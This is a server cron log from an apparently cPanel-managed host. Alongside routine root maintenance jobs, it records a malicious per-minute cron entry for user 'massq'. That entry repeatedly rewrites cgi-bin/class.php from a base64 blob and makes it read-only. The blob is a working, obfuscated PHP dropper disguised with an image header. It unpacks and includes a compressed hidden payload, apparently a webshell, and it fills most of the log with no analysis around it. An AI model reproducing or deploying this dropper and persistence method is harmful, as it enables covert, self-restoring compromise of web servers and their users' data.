Sep  7 13:08:01 server CROND[13024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:08:01 server CROND[13022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:09:01 server CROND[13418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:09:01 server CROND[13420]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 13:09:01 server CROND[13419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:09:01 server CROND[13421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:10:01 server CROND[13808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:10:01 server CROND[13809]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:10:01 server CROND[13812]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:10:01 server CROND[13822]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:10:01 server CROND[13825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:10:01 server CROND[13824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:10:01 server CROND[13821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:10:01 server CROND[13823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:11:01 server CROND[14761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:11:01 server CROND[14762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:11:01 server CROND[14764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:12:01 server CROND[15146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:12:01 server CROND[15147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:12:01 server CROND[15148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:12:01 server CROND[15149]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:13:01 server CROND[15527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:13:01 server CROND[15528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:13:01 server CROND[15529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:14:01 server CROND[15902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:14:01 server CROND[15903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:14:01 server CROND[15904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:15:01 server CROND[16295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:15:01 server CROND[16296]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:15:01 server CROND[16299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:15:01 server CROND[16304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:15:01 server CROND[16306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:15:01 server CROND[16305]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:15:01 server CROND[16303]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 13:15:01 server CROND[16302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:16:01 server CROND[17262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:16:01 server CROND[17263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:16:01 server CROND[17264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:17:01 server CROND[17642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:17:01 server CROND[17643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:17:01 server CROND[17644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:18:01 server CROND[18079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:18:01 server CROND[18080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:18:01 server CROND[18081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:19:01 server CROND[18460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:19:01 server CROND[18461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:19:01 server CROND[18462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:20:01 server CROND[18864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:20:01 server CROND[18865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:20:01 server CROND[18869]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:20:01 server CROND[18870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
